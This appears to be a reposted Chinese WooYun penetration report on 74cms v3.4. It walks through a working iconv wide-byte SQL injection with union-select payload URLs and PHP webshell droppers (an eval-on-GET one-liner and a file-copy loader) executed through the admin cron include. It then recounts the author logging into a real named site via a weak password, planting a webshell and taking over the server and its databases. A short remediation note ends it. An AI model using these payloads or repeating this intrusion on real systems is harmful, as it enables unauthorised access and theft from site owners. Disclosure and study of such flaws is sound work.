记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

利用骑士cms的一次纠结的渗透测试过程(两个潜在而被忽略的漏洞分析)

2014-09-12 16:30

第一步 我们分析一个老的sql注入问题:

文件job/plus/ajax_common.php:(lines:88-100)

{

if (empty($_GET['query']))

{

exit();

}

$gbk_query=trim($_GET['query']);

if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)

{

$gbk_query=iconv("utf-8",QISHI_DBCHARSET,$gbk_query);

}



$sql="SELECT * FROM ".table('hotword')." WHERE w_word like '%{$gbk_query}%' ORDER BY `w_hot` DESC LIMIT 0 , 10";

$result = $db->query($sql);





iconv 这个函数在做编码转换的时候,会引入特殊字符,我们搭建了测试站点,如下:

http://192.168.47.131/74cms_v3.4.20140709/upload/plus/ajax_common.php?act=hotword&query=aa

让我们请求这个的时候,里面的问题参数query可能存在sql注入,首先我们直接使用单引号

http://192.168.47.131/74cms_v3.4.20140709/upload/plus/ajax_common.php?act=hotword&query=aa'

7.png





下来我们继续注入宽字节:

http://192.168.47.131/74cms_v3.4.20140709/upload/plus/ajax_common.php?act=hotword&query=aa%8c%27

8.png





由此可以排除了上面两种情况,下来我们继续测试

http://192.168.47.131/74cms_v3.4.20140709/upload/plus/ajax_common.php?act=hotword&query=aa%錦%27%20union%20select%201,concat(version(),user()),3%23%27

9.png





神奇的貌似没有打补丁..........

这里居然引入进来了,不过骑士cms做了过滤,对sql的操作,例如select union之类的做了过滤

但是这个不影响,我不用就可以了,仍然可以通过盲注去猜测表结构,这里直接附带一个站点的测试,当然它没有做更新:

url:http://edc.dky.bjedu.cn/job/plus/ajax_common.php?act=hotword&query=aa%%E9%8C%A6%27%20union%20select%201,concat(version(),user()),3%23%27

10.png







下来我们在分析另外一个漏洞,之前wooyun有过一个前台xss反射台拿shell的,这里原理一样,只不过我这里利用一个后台两个地方去获取shell,看一下代码:

登陆后台,看到内容底下有个hr工具,如图:

11.png



我们添加一个doc文件 ,文件的内容就是我们提前准备的shell,我们记录下这个文件的地址为:

data/hrtools/2014/07/1406613408594.doc

里面的内容就是一段小马................

然后我们在到另外一个地方,如图:

12.png





那么接下来我们分析分析代码,我们的doc文件里面的内容是:

<?php

file_put_contents("../data/backup/shell.php","<?php @eval(\$_GET['pass']);?>");

?>





我们看看这

13.png

,这个地方有个执行按钮,那么接下来我们分析一下这里执行处的代码:

admin/admin_crons.php:(lines:115-119)

if (!empty($crons))

{

if (!file_exists(QISHI_ROOT_PATH."include/crons/".$crons['filename']))

{

adminmsg("任务文件 {$crons['filename']} 不存在!",0);

}

require_once(QISHI_ROOT_PATH."include/crons/".$crons['filename']);

adminmsg("执行成功!",2);

}

}





这里明显就是从刚才那边直接取出来,然后包含执行了,那么我们点击执行,后根据我们doc文件我们会在backup底下生成一个shell.php

14.png





这里面还有另外一个思路,按照目前的逻辑,我们貌似只能挂一个小马,但是如果挂上去的小马,不能利用或者连接不上怎么办,我们还有另外一种思路,就是直接上大马,那么这个就要利用三处地方,这里我们不在分析,直接看下面渗透测试思路就ok



到这里代码就分析完了,这里全部都是在后台操作的,我们也可以在前台通过上传一个头像,利用xss进行getshell,功夫不负有心人,我们找到一个案例,而且貌似还比较大的网站:





---------------------------------------------------------------



下来我们进行渗透测试:

站点:人才技能网(http://edc.dky.bjedu.cn/)



经过测试后台存在弱口令,我们登陆到了后台

15.png





我们进来之后,下来我们就是要去重复我上面分析的东西,结果真是巧合所挂的小马,菜刀链接不上,这里我就不演示了,我们直接看另外一个思路



1.如果我们可以再hr工具编辑哪里,连续上传两个doc,一个doc就是我们的大马,另一个doc就是我们的写shell的文件doc,然后我们只要在写shell的doc里面从另外一个大马文件读出来,然后写到backup/shell.php 里面即可:



操作如下:

16.png





记录上面的两个url:

url1(大马):data/hrtools/2014/07/1406614082954.doc

url2 (写shell):data/hrtools/2014/07/1406614108668.doc



写shell的doc,文件内容如下:

<?php

$file_path = "../data/hrtools/2014/07/1406614082954.doc";

$content = file_get_contents($file_path);

file_put_contents("../data/backup/shell.php",$content);

?>





然后我们把url2,贴到工具-》的任务计划哪里,如图所示:

17.png





保存后我们点击执行:

然后我们的大马就生成了,哈哈.................

18.png





ok到此这个服务器就已经拿下了,这个服务器里面相对东西还是很多的,它不止有骑士cms一个,还有其他几个,例如phpcms,我们通过这个点全部都能那道数据库文件

漏洞证明:

18.png



19.png





内网ip:

20.png

修复方案:

对于骑士cms来说,还是在这里转义一下,后台那还是通过xss 盲打,然后 能构造出来shell的,建议重视并修改

对于这个站点,及时升级,并改掉管理员密码


知识来源: www.wooyun.org/bugs/wooyun-2014-070140

阅读:414679 | 评论:1 | 标签:cms 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“利用骑士cms的一次纠结的渗透测试过程(两个潜在而被忽略的漏洞分析)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

↓赞助商 🙇🧎

标签云 ☁